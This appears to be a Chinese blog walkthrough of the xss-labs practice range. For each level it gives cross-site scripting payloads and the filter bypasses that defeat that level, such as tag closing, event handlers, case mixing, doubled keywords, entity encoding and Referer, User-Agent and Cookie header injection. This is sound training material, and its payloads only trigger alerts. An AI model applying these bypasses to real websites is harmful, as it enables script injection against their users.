2022年05月27日   温氏效应   58 次浏览   暂无评论  
Balloon trip

level-1 基本Payload

直接在地址栏后面添加<script>alert('w328')</script>即可。

Balloon trip

level-2 闭合标签

  1. 随便输入内容,提交后查看源码,此时直接写<script>alert(''w328)</script>是不行的,需要将之前的语句闭合。
Balloon trip
  1. 在文本框或者地址栏后面增加"><script>alert('w328')</script>,成功
Balloon trip

level-3 转义<>

直接输入<script>alert('w328')</script>,查看页面源码:

Balloon trip

可以看到本关卡对<、>进行了过滤,查看源码可以看到使用了htmlspecialchars()函数。

Balloon trip

这时我们可以尝试使用input标签进行尝试,在keyword后面加入Payload:'onfocus=javascript:alert('xss')+>onfocus事件的原因,需要输入框获取焦点才能生效,点击文本框,弹出窗口,过关。

Balloon trip

level-4 转义闭合

惯例,直接输入<script>alert('w328')</script>,查看页面源码:

Balloon trip

可以看到,本关依旧采用了htmlspecialchars()函数对<、>进行了过滤。在查看本关源码:

Balloon trip

把上一关卡的payload修改一下:"onfocus=javascript:alert('w328') ",成功。

Balloon trip

level-5 href

惯例,直接输入<script>alert('w328')</script>,查看页面源码:

Balloon trip
Balloon trip

查看源码可以看到,服务端对输入的字符串进行了过滤,并将<script改为了<scr_ipton改为了o_n那就说明onfocus也用不了了呗。上一关的payload进行尝试"onfocus=javascript:alert('w328') " ,失败,onfocus变成了o_nfocus

Balloon trip

没有成功,onfocus也进行了过滤。那么这里使用DOM XSS进行尝试:"><a href=javascript:alert('w328')>w328</a>,成功。

Balloon trip

level-6 大小写

同上,第五关的所有方式都试了一遍,都被无情的过滤了。

Balloon trip

查看源码发现,on\src\data\href都被格式化了,不过可以使用大小写方式进行尝试,成功。

方式一:

"onfocus=javascript:alert('w328') "

修改为:

"oNFocus=javascript:alert('w328') "

方式二:

"><a href=javascript:alert('w328')>w328</a>

修改为:

"><a hREf=javascript:alert('w328')>w328</a>

Balloon trip

level-7 双写

惯例,直接输入<script>alert('w328')</script>,查看页面源码:

Balloon trip

查看源码:

Balloon trip

发现script\on\src\data\href都被过滤掉了,使用大小写试试,失败:

Balloon trip

过滤词使用双写方式尝试,成功:

方式一:

"onfocus=javascript:alert('w328') "

修改为:

"oonnfocus=javascrscriptipt:alert('w328') "

方式二:

"><a href=javascript:alert('w328')>w328</a>

修改为:

"><a hrhrefef=javascrscriptipt:alert('w328')>w328</a>

Balloon trip

level-8 html实体转义

随便输入,发现添加了一个超链接

Balloon trip

尝试使用javascript:alert('w328'),失败,发现被转义了

Balloon trip

查看顶部思维导图里:闭合和转义=>html实体转义:javasc&#114;ipt:alert(/w328/)成功

Balloon trip

level-9 包含探测

继续随便输入一些字符,查看源码发现,提示我们输入的不是合法链接

Balloon trip

那这问题就简单了,链接要求包含http://,那就使用包含探测:javasc&#114;ipt:alert(/xss/)//http://成功

Balloon trip

level-10 隐藏信息

打开页面后发现没有输入框,看顶部思维导图,直接使用隐藏信息中的,没有输入框,能输入到页面,那就创建输入框:?t_sort="type="text" onmouseover="alert(w328)成功

Balloon trip

level-11 Referer

本关卡同上,也没有输入框,那继续使用10关的方式尝试?t_sort="type="text" onmouseover="alert(w328)失败

Balloon trip

查看攻略,利用头部信息进行攻击,BurpSuite抓包,在请求头添加Referer:"type="text" onmouseover="alert(/xss/)//如下图:

Balloon trip

发送后,在右侧点击右键,选择Show response inbrowserCopy

Balloon trip
Balloon trip

在浏览器中访问,成功

Balloon trip

level-12 User-Agent

按照以往惯例,这次再使用Referer肯定没用了,查看源码,发现可以尝试user-anget

Balloon trip

返回顶部查看,在user-agnet后面增加"type="text" onmouseover="alert(/xss/)//发送后,在右侧点击右键,选择Show response inbrowserCopy

Balloon trip
Balloon trip
Balloon trip

在浏览器中访问,成功

Balloon trip

level-13 Cooike

Referer、User-Agent完了,这次该Cooike了。抓包,尝试在Cookie后面增加:" type="text" onmouseover="alert(1)"成功,查看方式同上。

Balloon trip

level-14 Exif

这关有点单难度,传送门:https://blog.csdn.net/qq_32393893/article/details/104814749

有空了研究!

level-15 ng-include

ng-include的定义和用法:

  1. ng-include指令用于包含外部的 HTML文件。
  2. 含的内容将作为指定元素的子节点。
  3. ng-include属性的值可以是一个表达式,返回一个文件名。
  4. 默认情况下,包含的文件需要包含在同一个域名下。

值得注意的是:

  • ng-include如果单纯指定地址,必须要加引号
  • ng-include加载外部html,script标签中的内容不执行
  • ng-include加载外部html中含有style标签样式可以识别

查看源码:

Balloon trip

过滤了<>,然后有ng-include,只要不要使用带<>的payload的,调用之前做过的有xss漏洞的文件,所以就可以构造:?src='level1.php?name=<a href="javascript:alert(/xss/)">',成功

Balloon trip

level-16 空格

空格、反斜杠、script都被str_replace函数替换成&nbsp了,但是在HTML中可以将%0A或者%0D当成空格使用。尝试:?keyword=<a%0Aherf='javas%0Acript:alert("xss")'>xss

Balloon trip

也可以在图片插入:<img%0Asrc=""%0Aonerror=alert('fuck')>

Balloon trip

level-17 Flash

查看源码,尖括号、双引号均被HTML实体编码;通常是采用闭合的方式xss,但这里直接把尖括号给毙了!所以就得考虑其它思路。

Balloon trip

尝试:?arg01=a&arg02=b%0aonmouseover%3dalert(1)成功

Balloon trip

level-18 Flash

试了一下上一关的payload,成功了。。。。

level-19 Flash Xss

Balloon trip
Balloon trip

src的值使用双引号括起来的。

如果想要成功执行js代码肯定需要去闭合标签,但是此处应该还是会用htmlspecialchars()函数进行处理,所以无法成功闭合。

这一关涉及一种xss攻击手段叫做flash xss

Flash产生的xss问题主要有两种方式:

  • 加载第三方资源
  • 与javascript通信引发XSS

常见的可触发xss的危险函数有:

getURL navigateToURL ExternalInterface.call htmlText loadMovie

要想知道这一关的是不是属于flash xss,只需要对引用的swf文件进行反编译然后进行源码分析。

Level-19\Level-20超出了很多大佬的能力范围,So,日后找到解法了再来补充。

PS:有两个payload,尝试但没有成功,不知道是不是浏览器问题,试了三个都不行。

?arg01=version&arg02=<a href="javascript:alert(1)">123</a>

?arg01=version&arg02=<a href='javascript:alert(/xss/)'>xss</a>


xss-labs靶场:https://github.com/do0dl3/xss-labs

标签:,
上一篇:

共有 0 条评论

发表评论